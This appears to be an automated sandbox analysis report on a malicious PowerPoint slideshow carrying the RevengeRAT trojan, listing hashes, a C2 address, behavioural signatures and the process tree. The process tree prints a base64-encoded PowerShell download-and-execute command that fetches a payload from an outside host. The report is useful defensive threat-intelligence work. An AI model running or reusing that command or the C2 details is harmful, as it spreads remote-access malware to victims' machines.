Analysis

  • max time kernel
    155s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2023 00:50

General

  • Target

    32654120000.pps

  • Size

    85KB

  • MD5

    f73d28374566888ca72af46736a044c7

  • SHA1

    a4186cef906d11a1af9c064b742449c1ea0dccd5

  • SHA256

    924b64652f124bbf235affcb91f62ddd799456c8b7438842c322db64d1a3e4a4

  • SHA512

    c7460d9b69519c206bb553a37f263c178bcfd5b3c1902cd400433248f2e7b01f776c92f8eb6cafd1f11818cd097c22960744d205de73c6649e71f468ef1afc52

  • SSDEEP

    768:b2HgyYZ88pJ9lYsI4XrNK7LSdvsqQvb36aTZQSCmYDxB:bXyYZ88RlYsI4XrNKCdvgvb37VQnrx

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

63165e63d56748c

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\32654120000.pps" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcAA6AC8ALwBkAGEAbgBpAGUAbAB2AGkAZABhAGIAZQBsAGEALgA2AHQAZQAuAG4AZQB0AC8AZABvAHcAbgBsAG8AYQBkAC8ARgBhAGMAawAuAGoAcABnAA0ACgAnACkAOwAgAA0ACgB6AEIAdwB6AGMAWQBEAHoAegBuAHkAawBLAGYARwBlAEEAdwBMAE8ARQBiAEMARABWAFAAUwB3AEIARgB5AFUAVQBOAHoATgBOAEcAYwBoAEEAdABSAG8ASwBjAFYAYQBSAE0AWQBGAFAAdwBHAFgAYQBOAGMAbwBMAG8AWQBVAHgAZABvAFgATQB0AFQAVQBrAEcAUwBpAHAATgByAFQAVABTAHoATwBHAG4ARwBKAGgAYgBOAA0ACgA=""
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
          PID:2292

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kusm4mk.rci.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2292-198-0x0000000005FD0000-0x0000000006574000-memory.dmp
      Filesize

      5.6MB

    • memory/2292-200-0x0000000005930000-0x0000000005940000-memory.dmp
      Filesize

      64KB

    • memory/2292-210-0x0000000005930000-0x0000000005940000-memory.dmp
      Filesize

      64KB

    • memory/2292-195-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/4696-137-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-139-0x00007FFDB8590000-0x00007FFDB85A0000-memory.dmp
      Filesize

      64KB

    • memory/4696-138-0x00007FFDB8590000-0x00007FFDB85A0000-memory.dmp
      Filesize

      64KB

    • memory/4696-136-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-209-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-208-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-207-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-133-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-206-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-134-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4696-135-0x00007FFDBADF0000-0x00007FFDBAE00000-memory.dmp
      Filesize

      64KB

    • memory/4852-184-0x00000244CA790000-0x00000244CA7A8000-memory.dmp
      Filesize

      96KB

    • memory/4852-190-0x00000244CA790000-0x00000244CA7A8000-memory.dmp
      Filesize

      96KB

    • memory/4852-188-0x00000244CA790000-0x00000244CA7A8000-memory.dmp
      Filesize

      96KB

    • memory/4852-192-0x00000244CA790000-0x00000244CA7A8000-memory.dmp
      Filesize

      96KB

    • memory/4852-194-0x00000244CA790000-0x00000244CA7A8000-memory.dmp
      Filesize

      96KB

    • memory/4852-186-0x00000244CA790000-0x00000244CA7A8000-memory.dmp
      Filesize

      96KB

    • memory/4852-183-0x00000244CA790000-0x00000244CA7A8000-memory.dmp
      Filesize

      96KB

    • memory/4852-181-0x00000244CA7C0000-0x00000244CA7D0000-memory.dmp
      Filesize

      64KB

    • memory/4852-180-0x00000244CA7C0000-0x00000244CA7D0000-memory.dmp
      Filesize

      64KB

    • memory/4852-179-0x00000244CA7C0000-0x00000244CA7D0000-memory.dmp
      Filesize

      64KB

    • memory/4852-169-0x00000244CA640000-0x00000244CA662000-memory.dmp
      Filesize

      136KB